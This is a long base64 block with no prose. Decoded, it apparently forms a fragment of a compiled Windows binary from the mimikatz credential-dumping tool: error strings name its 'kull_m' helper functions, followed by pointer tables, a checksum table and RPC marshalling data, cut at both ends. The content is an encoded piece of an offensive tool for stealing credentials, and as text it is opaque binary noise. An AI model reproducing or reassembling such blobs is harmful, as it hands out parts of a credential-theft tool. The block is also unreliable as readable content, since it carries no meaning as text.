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AwANkwAq/8IQDY2WxIA7P8SAAj8EgDW/xoHkAAAACAATAD4+0wA9Ps2TADP/EwAy/w2TAAo/QgICEA2CEBbEgBc/BIAUP0SALL/GwABABkABAABAAJbGgMQAAAABgAICDZbEgDm/xoDEAAAAAAATADm/1xbtwgAAAAAAAAQALcIAAAAAAAAEAAVByAATACM+wsLXFsbByAACQD4/wEATADo/1xbGgcQAOz/AAAICEwAzv8IWxUHMAALTAAT/1saB1gAAAAQADYIQEwAbf4IQEwA4/9bEgDG+yEHAAAZAJQAAQD/////AABMANT/XFsaB6gAAAAoAEwAIvtMAB77NkwA+ftMAPX7NkwAUvwICAhANggICEwAXv82CEBbEgB++xIAgv8SANT+EgCu/xoDGAAAAAAACA1MAB7/XFu3CAAAAAAAABAAFQdIAAtMAIH+CAgIQAtcWxoHcAAAABAANghATADV/QhATADd/1sSAC77IQcAABkAlAABAP////8AAEwA1P9cWxoHqAAAACgATACK+kwAhvo2TABh+0wAXfs2TAC6+wgICEA2CAgITACO/zYIQFsSAOb6EgDq/hIAPP4SAK7/EQACACsJKQAIAAEAAgAoAAEAAQAAAAQA//8aAygAAAAMADY2TAAw+ghAXFsRAKr6EQgiXBEAAgArCSkACAABAAIAeAACAAEAAAAaAAIAAAAsAP//HQBUAAJbFQBUAEwA9P9cWxoDaAAAAAoANjZMAOr/CFsRAGL6EQgiXBoDeAAAAAwANjY2NkwA0P8IWxEASPoSAET6EgBA+hEIIlwRAAIAKwkpAAgAAQACABgAAQABAAAABAD//xoDGAAAAAgANjYIQFxbEQAQ+hIIIlwRAAIAKwkpAAgAAQACAIAAAQABAAAABAD//xoDgAAAABAANkwAY/k2TABi/wgICFsRANj5EggiXBEAAgArCSkACAABAAIAMAABAAEAAAAkAP//twgBAAAAECcAACEDAAAZAAQAAQD/////AAASAJz5XFsaAzAAAAASAAhMANX/NkwAiPxMAET6XFsSAND/EQQCACsJKVQYAAEAAgAgAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkABAABAP////8AAEwAWvxcWxoDIAAAAA4ACEwA1f82TADy+VxbEgDU/xEAAgArCSkACAABAAIAIAABAAEAAAAuAP//twgBAAAAECcAALcNAQAAAAcAAAAhAwAAGQAAAAEA/////wAAEgDq+FxbGgMgAAAAEABMAMz/QDYITADP/zZcWxIA0v8SAMr4EQQCACsJKVQYAAEAAgAoAAEAAQAAADoA//+3CAAAAAAQJwAAtwgAAAAAECcAABsDBAAZAAQAAQAIWyEDAAAZAAgAAQD/////AAASAGb4XFsaAygAAAAQAAhMAL//TADF/0A2NjZbEgCy/hIAwv8SAMr/EQACACsJKQAIAAEAAgBAAAIAAQAAAAoAAgAAAHQA//8aAzAAAAAMADY2NkwA6fgIQFsSCAJcEgAy+xIAmPe3CAAAAAAQJwAAtwgAAAAAECcAABoDEAAAAAoATADs/wg2XFsSAGz4IQMAABkABAABAP////8AAEwA2v9cWxoDEAAAAAoACEwAt/82XFsSANj/GgNAAAAADgA2NjY2NkwAd/gIQFsSALD3EgDA+hIAqPcSAKT3EgDG/xEEAgArCSlUGAABAAIAIAACAAEAAAAOAAIAAAAgAP//EgCQ+hoDIAAAAAoANkwAL/g2XFsSEOr/EggIXBoDEAAAAAYACEA2WxIAVPcRAAIAKwkpAAgAAQACABgAAQABAAAAGgD//7cIAAAAAAAAoAAbAAEAGQAIAAEAAlsaAxgAAAAMAAgITADe/0A2XFsSAOD/EQACACsJKVQYAAEAAgBQAAEAAQAAADYA//+3CAAAAAAAAKAAtwgAAAAAAACgABUHMABMAGD4TABc+EwAWPhMAFT4TABQ+EwATPhcWxoHUAAAABQATADE/0wAyv9MAND/CEA2NlxbEgAe9xIATvoRAAIAKwkpAAgAAQACACAAAQABAAAAJAD//7cIAQAAABAnAAAhAwAAGQAUAAEA/////wAAEgglXFxbGgMgAAAADgAICAgICEwA0f82XFsSANT/EQQCACsJKVQYAAEAAgAIAAEAAQAAAEAA//8aAxgAAAAIAAhANjZcWxIIJVwSCCVcIQMAABkAAAABAP////8AAEwA2P9cWxoDEAAAAAYACEA2WxIA3P8aAwgAAAAEADZbEgDk/xEAAgArCSkACAABAAIAIAABAAEAAAAkAP//twgAAAAAECcAACEDAAAZABAAAQD/////AAASCCVcXFsaAyAAAAAMAAgINkwA0/9ANlsSCCVcEgDS/xEEAgArCSlUGAABAAIABAABAAEAAAAEAP//FQMEAAhbEQACACsJKQAIAAEAAgAYAAEAAQAAAAQA//8aAxgAAAAIADY2CEBcWxIIJVwSCCVcEQQCACsJKVQYAAEAAgAEAAEAAQAAALT///8RAAIAKwkpAAgAAQACAAgAAQABAAAABAD//xoDCAAAAAQANlsSCCVcEQQCACsJKVQYAAEAAgAEAAEAAQAAAHL///8RAAIAKwkpAAgAAQACABAAAQABAAAABAD//xoDEAAAAAYANghAWxIIJVwRBAIAKwkpVBgAAQACABAABAABAAAAWgACAAAAyAADAAAANgH/////eAH//7cIAAAAABAnAAAaAzAAAAAKADY2NjY2CAhbEgglXBIIJVwSCCVcEgglXBIIJVwhAwAAGQAAAAEA/////wAATADK/1xbGgMQAAAACgBMALL/QDZcWxIA2P+3CAAAAAAQJwAAGgOIAAAAHgA2NjY2NjY2CAgITACa80wAlvNMAJLzTACO80BbEgglXBIIJVwSCCVcEgglXBIIJVwSCCVcEgglXCEDAAAZAAAAAQD/////AABMAK7/XFsaAxAAAAAKAEwAlv9ANlxbEgDY/7cIAAAAABAnAAAaA4gAAAAeADY2NjY2NjYICAgITAAl80wAIfNMAB3zTAAZ81sSCCVcEgglXBIIJVwSCCVcEgglXBIIJVwSCCVcIQMAABkAAAABAP////8AAEwArv9cWxoDEAAAAAoATACW/0A2XFsSANj/twgAAAAAECcAABoDIAAAAAoACAgICAgINlsSCCVcIQMAABkAAAABAP////8AAEwA2v9cWxoDEAAAAAoATADC/0A2XFsSANj/EQACACsJKQAIAAEAAgAwAAMAAQAAABAAAgAAAC4AAwAAADYA//8aAxgAAAAIADZMANn1WxEA1PIaAygAAAAIADZMANv1WxIA8P8aAygAAAAAAEwA5P9cWxoDMAAAAAgATADW/zZbEgDI+hEAAgArCSlUGAABAAIAQAADAAEAAAAQAAIAAABQAAMAAAC6Af//GgNAAAAAAABMAO7xTABW8ggICAgGPlxbtwgAAAAAECcAABUDLABMANDxTAA48lxbIQMAABkAHAABAP////8AAEwA4P9cWxoDKAAAABAANggICAgGPkwAwf82XFsSABzyEgDO/7cIAAAAABAnAAArCRkACAABAAIAEAABAAEAAAAQAf//KwkZAAQAAQACAEAABwABAAAATgACAAAAXAADAAAAzgAEAAAA2gAFAAAA1AAGAAAAzgAHAAAAyAD//xoDKAAAAAAACAgIBj4ICEwAR/RbGgMwAAAACAA2TADh/1sSAPD/GgNAAAAACgA2CEBMAOH/WxIAhPEaAxgAAAAKAAgICAY+NlxbEgBw8RUBBAACAgZbHAECABdVAgABABdVAAABAAVbGgMQAAAACAAGBkA2XFsSAN7/GgMQAAAABgA2NlxbEgDy/xIA3P8aAzAAAAASADZMALX/BgYGBkA2NggCP1sSABTxEgDO/xIA3v8aA0AAAAAAAAgICEBMAM7/XFsaAxAAAAAAAAgICAY+WxoDEAAAAAYACAg2WxIA5v4hAwAAGQAYAAEA/////wAATABw/lxbGgMoAAAADgA2CEA2TACg/kA2XFsSAK7wEgCe/hIAzP8RAAIAKwkpAAgAAQACAAgAAQABAAAABAD//xUDCAAICFxbEQACACsJKQAIAAEAAgBAAAIAAQAAAAoAAgAAABgA//8aAyAAAAAKAAhANkwA0+9bEgglXBoDQAAAABAACEA2TAC/7whANjYIQFsSCCVcEgglXBIIJVwRBAIAKwkpVBgAAQACAAgADwAAAAAAWAABAAAAtAACAAAAvAADAAAA9gAEAAAA8AAFAAAAKAEGAAAAdAEHAAAAzgEIAAAA9AEJAAAALAIKAAAAbAL6////wAL7////BAP8////AgP+////BAD//xIAVAAaB5AAAAAmADY2NjYICEwAKO9MACTvTAAg70wAHO8LC0wADv9MAAr/CAhcWxIIJVwSCCVcEgglXBIIJVwhBwAACQD4/wEA/////wAATACy/1xbGgcIAOb/AAAICFxbEgACABcHCAA88AgIXFsSADIAGgc4AAAAEAA2CEwAtP5MALjuQAsLWxIIJVwhBwAACQD4/wEA/////wAATADU/1xbGgcIAOb/AAAICFxbEgAwABoDKAAAAA4ANkwAfe5MAHH+CAhbEgglXCEDAAAJAPj/AQD/////AABMANb/XFsaAwgA5v8AAAgIXFsSAEAAGgNQAAAAFgBMADj+CAgNCDY2NkwANe5MADHuWxIIJVwSCCVcEgglXCEDAAAJAPj/AQD/////AABMAMb/XFsaAxAA5v8AAEwA+v0IQFxbEgBSABsAAQAZABAAAQACWxoHYAAAABwANjYIQDZMANX9TADR/QhMAMz9TADQ7UALC1sSCCVcEgglXBQAyP8hBwAACQD4/wEA/////wAATADA/1xbGgcIAOb/AAAICFxbEgAgABUHIABMAJLtC0wAhf1bGwcgAAkA+P8BAEwA5v9cWxcHCADs/wgIXFsSADAAGgcoAAAADgBMAGLtC0wAVf02XFsSCCVcIQcAAAkA+P8BAP////8AAEwA1v9cWxoHCADm/wAACAhcWxIAOAAaB0AAAAASADYITAAa/UwAHu1ACws2XFsSCCVcEgglXCEHAAAJAPj/AQD/////AABMAM7/XFsaBwgA5v8AAAgIXFsSAEwAGgdoAAAAHgA2NghANkwA0fxMAM38CEwAyPxMAMzsQAsLNlxbEgglXBIIJVwUAML+EgglXCEHAAAJAPj/AQD/////AABMALr/XFsaBwgA5v8AAAgIXFsSADoAtwgAAAAAAAEAABoHMAAAAA4ANggICAgIQAsIQFxbEgglXCEHAAAJAPj/AQD/////AABMANb/XFsaBwgA5v8AAEwAvv8IWxIAwO0SACwAtwgAAAAAECcAABUHMAALCAhMAC3sCwgIXFsbBzAACQD4/wEATADk/1xbGgcIAOz/AABMAMz/CFsRAAIAKwkpAAgAAQACAGAAAQABAAAARgD//7cIAAAAAAABAAC3CAAAAAAAAQAAtwgAAAAAAAEAABsBAgAZACAAAQAFWxsBAgAZADAAAQAFWxsBAgAZAEAAAQAFWxoDYAAAABwACEA2NjZMAK//QDZMALP/QDZMALf/QDY2NlsSCCVcEgglXBQIJVwSAKz/EgC0/xIAvP8SCCVcEgglXBEEAgArCSlUGAABAAIABAABAAEAAABc9v//EQACACsJKQAIAAEAAgAQAAEAAQAAACQA//+3CAEAAAAQJwAAIQMAABkAAAABAP////8AAEwAtvJcWxoDEAAAAAoATADW/0A2XFsSANj/EQQCACsJKVQYAAEAAgAQAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkAAAABAP////8AAEwA1vJcWxoDEAAAAAoATADW/0A2XFsSANj/EQACACsJKQAIAAEAAgAgAAEAAQAAAAQA//8aAyAAAAAKADZMAI/qCEBbEQAK6xEAAgArCSkACAABAAIAOAABAAEAAAAKAP//HQAQAAJbGgM4AAAAEABMAFzqCEA2NkwA6P9cWxIA0OoSAMTrEQQCACsJKVQYAAEAAgAQAAEAAQAAACQA//+3CAAAAAAAAKAAIQMAABkABAABAP////8AAEwAEupcWxoDEAAAAAoACEwA1f82XFsSANj/EQACACsJKQAIAAEAAgAgAAEAAQAAACQA//+3CAEAAAAQJwAAIQMAABkACAABAP////8AABIIJVxcWxoDIAAAAAwANkwA1f9ANghAWxIIJVwSANL/EQQCACsJKVQYAAEAAgAYAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkAAAABAP////8AAEwAaPlcWxoDGAAAAAwATADW/0A2CEBcWxIA1v8RAAIAKwkpAAgAAQACAAQAAQABAAAASPT//xEEAgArCSlUGAABAAIABAABAAEAAAAu9P//EQACACsJKQAIAAEAAgAgAAEAAQAAAAQA//8aAyAAAAAKAAhMAP3oQDZbEQB46REEAgArCSlUGAABAAIABAABAAEAAADm8///EQACACsJKQAIAAEAAgAgAAEAAQAAAAQA//8aAyAAAAAKAAhMALXoQDZbEgglXBEEAgArCSlUGAABAAIADAABAAEAAAAEAP//FQMMAAgICFsRAAIAKwkpAAgAAQACABAAAQABAAAABAD//xoDEAAAAAYANjZcWxIIJVwSCCVcEQQCACsJKVQYAAEAAgAgAAEAAQAAABoA//+3CAAAAAAABAAAGwECABkAEAABAAVbGgMgAAAADAA2NkwA3v9ANlxbEgglXBIIJVwSANj/EQACACsJKQAIAAEAAgAYAAEAAQAAAA4A//+3CAAAAAD//wAAGgMYAAAACgA2TADr/0A2WxIIJVwSACjxEQQCACsJKVQYAAEAAgAEAAEAAQAAAMTy//8RAAIAKwkpAAgAAQACAAgAAQABAAAABAD//xoDCAAAAAQANlsSCCVcEQQCACsJKVQYAAEAAgAQAAEAAQAAAA4A//+3CAAAAAD//wAAGgMQAAAACgAITADr/zZcWxIAiusRAAIAKwkpAAgAAQACAAQAAQABAAAASvL//xEAAgArCSlUGAABAAIAQAABAAEAAAA6AP//twgAAAAAAAQAALcIAAAAAAAAoAC3CAAAAAAAAKAAGwABABkAIAABAAJbGwABABkAMAABAAJbGgNAAAAAGAAIQDZMAL3/QDZMAMH/QDZMAMX/QDZbEgglXBIA0vgSAMD/EgDI/xEAAgArCSkACAABAAIAEAABAAEAAAAOAP//twgBAAAAAAQAABoDEAAAAAoACEwA6/82XFsSALrqEQQCACsJKVQYAAEAAgAQAAEAAQAAAAQA//8aAxAAAAAGAAhANlsSCCVcAAAAAAAAAABBBwAAIAAAACBaBYABAAAAIAAAAAAAAABYXQWAAQAAAKQFAAAAAAAAAAAAAAAAAAAQJwAAAAAAACAUAAAAAAAAcOwEgAEAAABAEG4BMAAAACwAAAAoAAAAAAAAAAYACABwQAAAAAAAAIgqBYABAAAACAAAAAAAAADTwQSAAQAAAMgAAAAIAAAA4E8FgAEAAAALAQAAEAAAANPBBIABAAAAUIEAABgAAACgMwWAAQAAABOBAAAgAAAA08EEgAEAAADwAAAAKAAAADEHAQAQAAAAgAAAAAAAAAAAAAAAAAAAACEAAAAAAAAAyAIFgAEAAACTAAAAAAAAAFEHAAYQAAAAaDIFgAEAAAAAAAAAAAAAAAAHAAABAAAAAQAAAAAAAAAA+wSAAQAAAAAAAAAAAAAA/////wAAAAAxBwEAKAAAAIAAAAAAAAAAAAAAAAAAAAAhAAAAAAAAAIhaBYABAAAAgAAAAAAAAAAYAAAAAAAAACEAAAAAAAAAEFYFgAEAAACAAAAAAAAAACAAAAAAAAAAIQAAAAAAAAAQVgWAAQAAAJMAAAAAAAAAQQAAAAEAAADQUwWAAQAAAAEAAAAAAAAA08sEgAEAAAAhAAAAAAAAAEj2BIABAAAAMQcBADAAAACAAAAAAAAAAAAAAAAAAAAAIQAAAAAAAAD0BAWAAQAAAIAAAAAAAAAACAAAAAAAAAAhAAAAAAAAAPQEBYABAAAAgAAAAAAAAAAQAAAAAAAAACEAAAAAAAAA9AQFgAEAAACAAAAAAAAAABgAAAAAAAAAIQAAAAAAAAD0BAWAAQAAAIAAAAAAAAAAIAAAAAAAAAAhAAAAAAAAAPQEBYABAAAAkwAAAAAAAAAhAAAAAAAAALD3BIABAAAAUQcABhAAAABgWgWAAQAAAAAAAAAAAAAAAAcAAAEAAAABAAAAAAAAAPj1BIABAAAAAAAAAAAAAAD/////AAAAAFEHAAZAAAAAaDIFgAEAAAAAAAAAAAAAAAAHAAACAAAAAQAAAAAAAADwRwWAAQAAAAAAAAAAAAAAAgAAAAAAAABQSAWAAQAAAAAAAAAAAAAA/////wAAAABBAAAAAQAAANBTBYABAAAAAQAAAAAAAADTywSAAQAAADAHAAAoAAAANwcGAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYDgWAAQAAAJEAAAAAAAAA2AYFgAEAAACQAAQAAAAAAJMAAAAAAAAApAUAAAAAAAAAAAAAAAAAAAAAoAAAAAAAQABuATAAAAAsAAAAKAAAAAAAAAAGAAgAcEAAAAAAAAAo0ASAAQAAAAgAAAAAAAAA08EEgAEAAADIAAAACAAAALA6BYABAAAACwEAABAAAADTwQSAAQAAAFCBAAAYAAAAgBUFgAEAAAATgQAAIAAAANPBBIABAAAA8AAAACgAAAAxBwEAGAAAAIAAAAAAAAAAEAAAAAAAAAAhAAAAAAAAAMgCBYABAAAAkwAAAAAAAAAhAAAAAAAAANgCBYABAAAANQcDABAAAAAAAAAAAAAAAAAAAAAAAAAASC4FgAEAAACRAAAAAAAAAAjqBIABAAAAkAAEAAAAAAAUAAAAAAAAAJM